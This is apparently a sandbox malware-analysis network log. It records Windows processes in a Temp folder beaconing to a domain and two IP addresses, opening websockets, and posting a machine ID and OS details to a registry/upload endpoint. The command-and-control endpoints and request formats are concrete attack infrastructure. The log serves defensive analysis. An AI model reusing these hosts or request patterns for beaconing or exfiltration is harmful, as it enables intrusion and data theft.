                                                                                                                                          Nov 8, 2024 11:29:26.392932892 CET49744443192.168.11.20185.199.110.133
                                                                                                                                          Nov 8, 2024 11:29:26.396949053 CET44349744185.199.110.133192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:26.396960974 CET44349744185.199.110.133192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:26.397108078 CET49744443192.168.11.20185.199.110.133
                                                                                                                                          Nov 8, 2024 11:29:26.397108078 CET49744443192.168.11.20185.199.110.133
                                                                                                                                          Nov 8, 2024 11:29:26.397241116 CET49744443192.168.11.20185.199.110.133
                                                                                                                                          Nov 8, 2024 11:29:26.397249937 CET44349744185.199.110.133192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:26.397473097 CET49744443192.168.11.20185.199.110.133
                                                                                                                                          Nov 8, 2024 11:29:26.398230076 CET49744443192.168.11.20185.199.110.133
                                                                                                                                          Nov 8, 2024 11:29:26.401127100 CET44349744185.199.110.133192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:26.401139975 CET44349744185.199.110.133192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:26.402431011 CET49744443192.168.11.20185.199.110.133
                                                                                                                                          Nov 8, 2024 11:29:26.402441025 CET44349744185.199.110.133192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:26.403011084 CET49744443192.168.11.20185.199.110.133
                                                                                                                                          Nov 8, 2024 11:29:26.405256987 CET44349744185.199.110.133192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:26.405270100 CET44349744185.199.110.133192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:26.405585051 CET49744443192.168.11.20185.199.110.133
                                                                                                                                          Nov 8, 2024 11:29:26.405596972 CET44349744185.199.110.133192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:26.406317949 CET49744443192.168.11.20185.199.110.133
                                                                                                                                          Nov 8, 2024 11:29:26.409435987 CET44349744185.199.110.133192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:26.409451962 CET44349744185.199.110.133192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:26.410358906 CET49744443192.168.11.20185.199.110.133
                                                                                                                                          Nov 8, 2024 11:29:26.410358906 CET49744443192.168.11.20185.199.110.133
                                                                                                                                          Nov 8, 2024 11:29:26.410366058 CET44349744185.199.110.133192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:26.411016941 CET49744443192.168.11.20185.199.110.133
                                                                                                                                          Nov 8, 2024 11:29:26.413156033 CET44349744185.199.110.133192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:26.413167000 CET44349744185.199.110.133192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:26.413501024 CET49744443192.168.11.20185.199.110.133
                                                                                                                                          Nov 8, 2024 11:29:26.413690090 CET49744443192.168.11.20185.199.110.133
                                                                                                                                          Nov 8, 2024 11:29:26.413696051 CET44349744185.199.110.133192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:26.414072037 CET49744443192.168.11.20185.199.110.133
                                                                                                                                          Nov 8, 2024 11:29:26.415693998 CET44349744185.199.110.133192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:26.415939093 CET44349744185.199.110.133192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:26.416336060 CET49744443192.168.11.20185.199.110.133
                                                                                                                                          Nov 8, 2024 11:29:26.416336060 CET49744443192.168.11.20185.199.110.133
                                                                                                                                          Nov 8, 2024 11:29:26.416336060 CET49744443192.168.11.20185.199.110.133
                                                                                                                                          Nov 8, 2024 11:29:26.416349888 CET44349744185.199.110.133192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:26.416979074 CET49744443192.168.11.20185.199.110.133
                                                                                                                                          Nov 8, 2024 11:29:26.419248104 CET44349744185.199.110.133192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:26.419259071 CET44349744185.199.110.133192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:26.419883966 CET49744443192.168.11.20185.199.110.133
                                                                                                                                          Nov 8, 2024 11:29:26.419889927 CET44349744185.199.110.133192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:26.420573950 CET49744443192.168.11.20185.199.110.133
                                                                                                                                          Nov 8, 2024 11:29:26.422604084 CET44349744185.199.110.133192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:26.422615051 CET44349744185.199.110.133192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:26.423650980 CET49744443192.168.11.20185.199.110.133
                                                                                                                                          Nov 8, 2024 11:29:26.423657894 CET44349744185.199.110.133192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:26.424220085 CET49744443192.168.11.20185.199.110.133
                                                                                                                                          Nov 8, 2024 11:29:26.426448107 CET44349744185.199.110.133192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:26.426459074 CET44349744185.199.110.133192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:26.426521063 CET44349744185.199.110.133192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:26.426645041 CET49744443192.168.11.20185.199.110.133
                                                                                                                                          Nov 8, 2024 11:29:26.427047968 CET49744443192.168.11.20185.199.110.133
                                                                                                                                          Nov 8, 2024 11:29:26.427186012 CET49744443192.168.11.20185.199.110.133
                                                                                                                                          Nov 8, 2024 11:29:26.427195072 CET44349744185.199.110.133192.168.11.20

                                                                                                                                          UDP Packets

                                                                                                                                          TimestampSource PortDest PortSource IPDest IP
                                                                                                                                          Nov 8, 2024 11:27:12.252990961 CET6209853192.168.11.201.1.1.1
                                                                                                                                          Nov 8, 2024 11:27:12.360533953 CET53620981.1.1.1192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:15.700618982 CET5785053192.168.11.201.1.1.1
                                                                                                                                          Nov 8, 2024 11:29:15.803667068 CET53578501.1.1.1192.168.11.20

                                                                                                                                          DNS Queries

                                                                                                                                          TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                                                                                                          Nov 8, 2024 11:27:12.252990961 CET192.168.11.201.1.1.10x230aStandard query (0)uyt1n8ded9fb380.comA (IP address)IN (0x0001)false
                                                                                                                                          Nov 8, 2024 11:29:15.700618982 CET192.168.11.201.1.1.10x4d93Standard query (0)raw.githubusercontent.comA (IP address)IN (0x0001)false

                                                                                                                                          DNS Answers

                                                                                                                                          TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                                                                                                          Nov 8, 2024 11:27:12.360533953 CET1.1.1.1192.168.11.200x230aNo error (0)uyt1n8ded9fb380.com104.21.86.219A (IP address)IN (0x0001)false
                                                                                                                                          Nov 8, 2024 11:27:12.360533953 CET1.1.1.1192.168.11.200x230aNo error (0)uyt1n8ded9fb380.com172.67.137.62A (IP address)IN (0x0001)false
                                                                                                                                          Nov 8, 2024 11:29:15.803667068 CET1.1.1.1192.168.11.200x4d93No error (0)raw.githubusercontent.com185.199.110.133A (IP address)IN (0x0001)false
                                                                                                                                          Nov 8, 2024 11:29:15.803667068 CET1.1.1.1192.168.11.200x4d93No error (0)raw.githubusercontent.com185.199.108.133A (IP address)IN (0x0001)false
                                                                                                                                          Nov 8, 2024 11:29:15.803667068 CET1.1.1.1192.168.11.200x4d93No error (0)raw.githubusercontent.com185.199.111.133A (IP address)IN (0x0001)false
                                                                                                                                          Nov 8, 2024 11:29:15.803667068 CET1.1.1.1192.168.11.200x4d93No error (0)raw.githubusercontent.com185.199.109.133A (IP address)IN (0x0001)false

                                                                                                                                          HTTP Request Dependency Graph

                                                                                                                                          • uyt1n8ded9fb380.com
                                                                                                                                          • raw.githubusercontent.com
                                                                                                                                          • 23.88.71.29:8000
                                                                                                                                          • 206.206.126.252:8008

                                                                                                                                          HTTP Packets

                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                          0192.168.11.2049733104.21.86.219809528C:\Windows\Temp\svczHost.exe
                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                          Nov 8, 2024 11:27:57.848328114 CET78OUTGET /api/check HTTP/1.1
                                                                                                                                          Host: uyt1n8ded9fb380.com
                                                                                                                                          Connection: Keep-Alive
                                                                                                                                          Nov 8, 2024 11:27:58.563992023 CET1289INHTTP/1.1 200 OK
                                                                                                                                          Date: Fri, 08 Nov 2024 10:27:58 GMT
                                                                                                                                          Content-Type: text/html
                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                          Connection: keep-alive
                                                                                                                                          Cache-Control: no-store,no-cache
                                                                                                                                          Pragma: no-cache
                                                                                                                                          cf-cache-status: DYNAMIC
                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Cy2jI7zf7gJoDw1pXPCITUB0RBQp5i7zk2sVBpftvd3vRh7L2fT4dfce7jOV6JZVr1Dj%2BKfd6KaU1cIaiP1J40OwsDbVn74OYj9%2F6sjsY2D1C4zPIoDp%2F9Y%2FFnhr1yT7o9Oz6WTBlMDS"}],"group":"cf-nel","max_age":604800}
                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=49476&sent=50&recv=47&lost=0&retrans=0&sent_bytes=20283&recv_bytes=14839&delivery_rate=2550218&cwnd=254&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                                                                                                          X-Powered-By: ARR/3.0
                                                                                                                                          vary: accept-encoding
                                                                                                                                          Server: cloudflare
                                                                                                                                          CF-RAY: 8df4df9edb0243bb-EWR
                                                                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=103329&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=78&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                                                                                                          Data Raw: 31 36 33 0d 0a 31 37 33 31 30 36 31 36 37 38 7c 51 33 66 4b 4d 4f 78 52 64 67 4e 63 43 41 5a 68 7a 42 35 71 73 77 6c 41 61 2b 63 63 78 53 4a 77 77 36 4b 51 4f 30 56 78 4b 6e 55 41 65 32 32 64 70 34 61 31 75 50 38 57 5a 53 53 35 6f 76 49 76 44 65 78 55 4a 68 69 37 6b 36 30 75 50 4b 32 72 39 75 39 78 50 59 73 67 2b 35 53 37 6c 35 36 42 73 30 4a 65 64 71 4e 47 76 4c 69 7a 4a 71 52 51 67 71 78 31 6f 79 65 57 48 37 64 43 53 53 76 69 68 6b 6d 70 58 66 6d 50 6b 54 55 36 62 58 55 52 2b 62 59 4a 2f 4a 45 49 50 4a 70 36 5a 37 52 47 48 4a 7a 45 45 78 62 4b 68 4a 34 46 37 4e 71 39 57 45 35 76 4e 67 51 4f 77 62 30 6f 56 61 6b 33 38 4a 5a 74 51 6e 68 58 32 47 68 43 4c 6e 41 6e 33 6f 48 6f 49 44 49 70 50 75 4f 66 35 37 46 30 73 2b 4e 65 38 6b 4b 6b 50
                                                                                                                                          Data Ascii: 1631731061678|Q3fKMOxRdgNcCAZhzB5qswlAa+ccxSJww6KQO0VxKnUAe22dp4a1uP8WZSS5ovIvDexUJhi7k60uPK2r9u9xPYsg+5S7l56Bs0JedqNGvLizJqRQgqx1oyeWH7dCSSvihkmpXfmPkTU6bXUR+bYJ/JEIPJp6Z7RGHJzEExbKhJ4F7Nq9WE5vNgQOwb0oVak38JZtQnhX2GhCLnAn3oHoIDIpPuOf57F0s+Ne8kKkP
                                                                                                                                          Nov 8, 2024 11:27:58.564028025 CET113INData Raw: 6d 6c 56 48 75 39 31 61 47 72 68 47 6e 46 56 55 49 41 34 77 66 2b 66 64 77 50 53 44 51 4c 69 52 38 67 4f 39 6e 6d 2f 70 4b 47 54 6a 4d 78 49 52 36 2f 66 65 2b 33 5a 55 52 6e 68 2f 4e 4a 41 42 43 2f 65 76 30 78 73 4d 73 2b 37 55 6f 57 76 2b 6b 34
                                                                                                                                          Data Ascii: mlVHu91aGrhGnFVUIA4wf+fdwPSDQLiR8gO9nm/pKGTjMxIR6/fe+3ZURnh/NJABC/ev0xsMs+7UoWv+k4nu82v0jq+0NHDE3uT/+PC19dyew==
                                                                                                                                          Nov 8, 2024 11:27:58.564090967 CET5INData Raw: 30 0d 0a 0d 0a
                                                                                                                                          Data Ascii: 0


                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                          1192.168.11.204973623.88.71.2980008944C:\Windows\Temp\myRdpService.exe
                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                          Nov 8, 2024 11:28:50.956116915 CET164OUTGET /client/ws HTTP/1.1
                                                                                                                                          Host: 23.88.71.29:8000
                                                                                                                                          Connection: Upgrade
                                                                                                                                          Upgrade: websocket
                                                                                                                                          Sec-WebSocket-Key: suzDaQlzTUCzGv/qpLMcog==
                                                                                                                                          Sec-WebSocket-Version: 13
                                                                                                                                          Nov 8, 2024 11:28:51.709425926 CET1289INHTTP/1.1 404 Not Found
                                                                                                                                          Cache-Control: private
                                                                                                                                          Upgrade: websocket
                                                                                                                                          Content-Type: text/html; charset=utf-8
                                                                                                                                          Server: Microsoft-IIS/8.5
                                                                                                                                          cf-cache-status: DYNAMIC
                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KNHm1qf7anvQ%2BtLw9MGegU8tNxE1I%2BaiqabHGP6wil%2B1fRFam%2BG909tYlVczWISB0X8YfzcIGzcRvPSADbynvi6e%2FqmQ5Bq%2BNQUnUDSjtTqxbjp6SVbr2E7%2FyNMQeEakQOR%2Fa7eG9hXA"}],"group":"cf-nel","max_age":604800}
                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                          CF-RAY: 8df4e0eb1e15382e-FRA
                                                                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=7032&sent=1063&recv=528&lost=0&retrans=0&sent_bytes=923255&recv_bytes=49924&delivery_rate=1547703&cwnd=234&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                                                                                                          X-Powered-By: ARR/3.0
                                                                                                                                          Date: Fri, 08 Nov 2024 10:28:51 GMT
                                                                                                                                          Content-Length: 4852
                                                                                                                                          Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 20 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 20 0a 3c 68 65 61 64 3e 20 0a 3c 74 69 74 6c 65 3e 49 49 53 20 31 30 2e 30 20 44 65 74 61 69 6c 65 64 20 45 72 72 6f 72 20 2d 20 34 30 34 2e 30 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 20 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 20 0a 3c 21 2d 2d 20 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 41 72 69 61 6c 2c 48 65 6c 76 65 74 69 63 61 2c 73 61 6e 73 2d 73 65 72 69 66 3b 7d 20 0a 63 6f 64 65 [TRUNCATED]
                                                                                                                                          Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>IIS 10.0 Detailed Error - 404.0 - Not Found</title> <style type="text/css"> ... body{margin:0;font-size:.7em;font-family:Verdana,Arial,Helvetica,sans-serif;} code{margin:0;color:#006600;font-size:1.1em;font-weight:bold;} .config_source code{font-size:.8em;color:#000000;}


                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                          2192.168.11.2049737206.206.126.25280088944C:\Windows\Temp\myRdpService.exe
                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                          Nov 8, 2024 11:28:54.046334982 CET168OUTGET /client/ws HTTP/1.1
                                                                                                                                          Host: 206.206.126.252:8008
                                                                                                                                          Connection: Upgrade
                                                                                                                                          Upgrade: websocket
                                                                                                                                          Sec-WebSocket-Key: QdmR4Vi4BEW4Nu7zIHOuLA==
                                                                                                                                          Sec-WebSocket-Version: 13
                                                                                                                                          Nov 8, 2024 11:28:54.434343100 CET1289INHTTP/1.1 404 Not Found
                                                                                                                                          Cache-Control: private
                                                                                                                                          Upgrade: websocket
                                                                                                                                          Content-Type: text/html; charset=utf-8
                                                                                                                                          Server: Microsoft-IIS/10.0
                                                                                                                                          cf-cache-status: DYNAMIC
                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mR7FbDf0CHlOaGtBcUIetJytOWsAnjG5kG9GaK9Sv3k9MVv9G3Pvwj4XLhsDUkePwFNONs%2FtrLOLAfps8MXFoknxJj7tPFHTPBtfw65zEGoD8PTn47anOvArNWmkQKYjS7c%2BbJaoDa76"}],"group":"cf-nel","max_age":604800}
                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                          CF-RAY: 8df4e0fedf3d4030-SIN
                                                                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=2327&sent=2036&recv=1351&lost=0&retrans=0&sent_bytes=1684897&recv_bytes=182077&delivery_rate=7310443&cwnd=256&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                                                                                                          X-Powered-By: ARR/3.0
                                                                                                                                          Date: Fri, 08 Nov 2024 10:28:54 GMT
                                                                                                                                          Content-Length: 4852
                                                                                                                                          Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 20 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 20 0a 3c 68 65 61 64 3e 20 0a 3c 74 69 74 6c 65 3e 49 49 53 20 31 30 2e 30 20 44 65 74 61 69 6c 65 64 20 45 72 72 6f 72 20 2d 20 34 30 34 2e 30 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 20 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 20 0a 3c 21 2d 2d 20 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 41 72 69 61 6c 2c 48 65 6c 76 65 74 69 63 61 2c 73 61 6e 73 2d 73 65 72 69 66 3b 7d 20 0a 63 6f 64 65 [TRUNCATED]
                                                                                                                                          Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>IIS 10.0 Detailed Error - 404.0 - Not Found</title> <style type="text/css"> ... body{margin:0;font-size:.7em;font-family:Verdana,Arial,Helvetica,sans-serif;} code{margin:0;color:#006600;font-size:1.1em;font-weight:bold;} .config_source code{font-size:.8em;color:#000000;} pre{ma


                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                          3192.168.11.204973823.88.71.2980008944C:\Windows\Temp\myRdpService.exe
                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                          Nov 8, 2024 11:29:06.639981985 CET164OUTGET /client/ws HTTP/1.1
                                                                                                                                          Host: 23.88.71.29:8000
                                                                                                                                          Connection: Upgrade
                                                                                                                                          Upgrade: websocket
                                                                                                                                          Sec-WebSocket-Key: MYAFAhyHwkaySR2LTI4Mfg==
                                                                                                                                          Sec-WebSocket-Version: 13
                                                                                                                                          Nov 8, 2024 11:29:07.431817055 CET1289INHTTP/1.1 404 Not Found
                                                                                                                                          Cache-Control: private
                                                                                                                                          Upgrade: websocket
                                                                                                                                          Content-Type: text/html; charset=utf-8
                                                                                                                                          Server: Microsoft-IIS/8.5
                                                                                                                                          cf-cache-status: DYNAMIC
                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9u8aj%2BbKfDbylF32hWTU%2FPMqx%2BeRY42r31sKdzkIGIX1sAwKJ7TovWPzW8qJ666%2BFNjJn%2Bc0BB1SDEs4s5ZpnxtEp1Nnm8IjfA1dbqduWnZuN7pE57vW0aDH8Xc%2BIUk0vq6dM%2F7bwmmr"}],"group":"cf-nel","max_age":604800}
                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                          CF-RAY: 8df4e14d2c04d5a8-CDG
                                                                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=16551&sent=733&recv=286&lost=0&retrans=0&sent_bytes=660886&recv_bytes=35824&delivery_rate=657615&cwnd=254&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                                                                                                          X-Powered-By: ARR/3.0
                                                                                                                                          Date: Fri, 08 Nov 2024 10:29:06 GMT
                                                                                                                                          Content-Length: 4852
                                                                                                                                          Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 20 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 20 0a 3c 68 65 61 64 3e 20 0a 3c 74 69 74 6c 65 3e 49 49 53 20 31 30 2e 30 20 44 65 74 61 69 6c 65 64 20 45 72 72 6f 72 20 2d 20 34 30 34 2e 30 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 20 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 20 0a 3c 21 2d 2d 20 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 41 72 69 61 6c 2c 48 65 6c 76 65 74 69 63 61 2c 73 61 6e 73 2d 73 65 72 69 66 3b 7d 20 0a 63 6f 64 65 [TRUNCATED]
                                                                                                                                          Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>IIS 10.0 Detailed Error - 404.0 - Not Found</title> <style type="text/css"> ... body{margin:0;font-size:.7em;font-family:Verdana,Arial,Helvetica,sans-serif;} code{margin:0;color:#006600;font-size:1.1em;font-weight:bold;} .config_source code{font-size:.8em;color:#000000;} p


                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                          4192.168.11.2049739206.206.126.25280088944C:\Windows\Temp\myRdpService.exe
                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                          Nov 8, 2024 11:29:09.758194923 CET168OUTGET /client/ws HTTP/1.1
                                                                                                                                          Host: 206.206.126.252:8008
                                                                                                                                          Connection: Upgrade
                                                                                                                                          Upgrade: websocket
                                                                                                                                          Sec-WebSocket-Key: BlG0DT+PmEmsQvn//8sKNA==
                                                                                                                                          Sec-WebSocket-Version: 13
                                                                                                                                          Nov 8, 2024 11:29:10.151900053 CET836INHTTP/1.1 101 Switching Protocols
                                                                                                                                          Upgrade: websocket
                                                                                                                                          Server: Microsoft-IIS/10.0
                                                                                                                                          Sec-Websocket-Accept: OSiZe44AlX8abyn5yMm2kygpf00=
                                                                                                                                          cf-cache-status: DYNAMIC
                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jK9BN6UmticOuTnifrwI9sXE0Ef6Le9gpxnTPM8sxmnc%2FOOPDac3OJlOIZCcOU2iPenR%2BGhAQV%2Ba5srl0eOoJsRNYFferzfZoCHB7PFRn0ZLp4zGN%2Frab9BIYno%2F84hbz68tvgjcrHs8"}],"group":"cf-nel","max_age":604800}
                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                          CF-RAY: 8df4e1610d898958-SIN
                                                                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=6347&sent=2001&recv=1350&lost=0&retrans=0&sent_bytes=1675692&recv_bytes=166842&delivery_rate=8349673&cwnd=244&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                                                                                                          X-Powered-By: ARR/3.0
                                                                                                                                          Connection: Upgrade
                                                                                                                                          Date: Fri, 08 Nov 2024 10:29:09 GMT


                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                          5192.168.11.2049741206.206.126.25280088944C:\Windows\Temp\myRdpService.exe
                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                          Nov 8, 2024 11:29:13.800714016 CET238OUTPOST /api/registry HTTP/1.1
                                                                                                                                          Host: 206.206.126.252:8008
                                                                                                                                          Connection: Keep-Alive
                                                                                                                                          Content-Type: application/json
                                                                                                                                          Content-Length: 102
                                                                                                                                          Data Raw: 22 36 33 30 31 33 33 37 32 46 36 35 37 35 41 39 44 34 45 41 32 39 43 42 36 30 38 37 39 38 45 44 39 7c 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 7c 31 30 2e 30 2e 31 39 30 34 32 20 4e 2f 41 20 42 75 69 6c 64 20 31 39 30 34 32 2d 31 30 2e 30 2e 31 39 30 34 31 2e 31 30 38 31 22
                                                                                                                                          Data Ascii: "63013372F6575A9D4EA29CB608798ED9|Microsoft Windows 10 Pro|10.0.19042 N/A Build 19042-10.0.19041.1081"
                                                                                                                                          Nov 8, 2024 11:29:14.199278116 CET799INHTTP/1.1 200 OK
                                                                                                                                          Content-Type: text/html
                                                                                                                                          Server: Microsoft-IIS/10.0
                                                                                                                                          cf-cache-status: DYNAMIC
                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=46FPARsmBh3W9gAgyp5He1omKjTIHbWoOVaSWctBFp7qai%2FOwz%2FMOgqkToerpWBU5XDrjh8QL7Z2JgJVKTGyrWUX8Ti482%2FCR%2Bf0FjCr0hPjbHZ%2FQxElobVQOGFVZlE3koa46gnoXD0D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                          CF-RAY: 8df4e17a4b11a08e-SIN
                                                                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=6506&sent=284&recv=206&lost=0&retrans=0&sent_bytes=242490&recv_bytes=26561&delivery_rate=7342833&cwnd=252&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                                                                                                          X-Powered-By: ARR/3.0
                                                                                                                                          Date: Fri, 08 Nov 2024 10:29:13 GMT
                                                                                                                                          Content-Length: 32
                                                                                                                                          Data Raw: 32 39 62 37 61 38 66 38 64 39 39 36 37 63 61 34 63 33 31 36 36 32 36 39 61 61 34 64 65 37 35 37
                                                                                                                                          Data Ascii: 29b7a8f8d9967ca4c3166269aa4de757


                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                          6192.168.11.2049742206.206.126.25280088944C:\Windows\Temp\myRdpService.exe
                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                          Nov 8, 2024 11:29:14.536904097 CET2578OUTPOST /api/registry/upload/29b7a8f8d9967ca4c3166269aa4de757 HTTP/1.1
                                                                                                                                          Host: 206.206.126.252:8008
                                                                                                                                          Connection: Keep-Alive
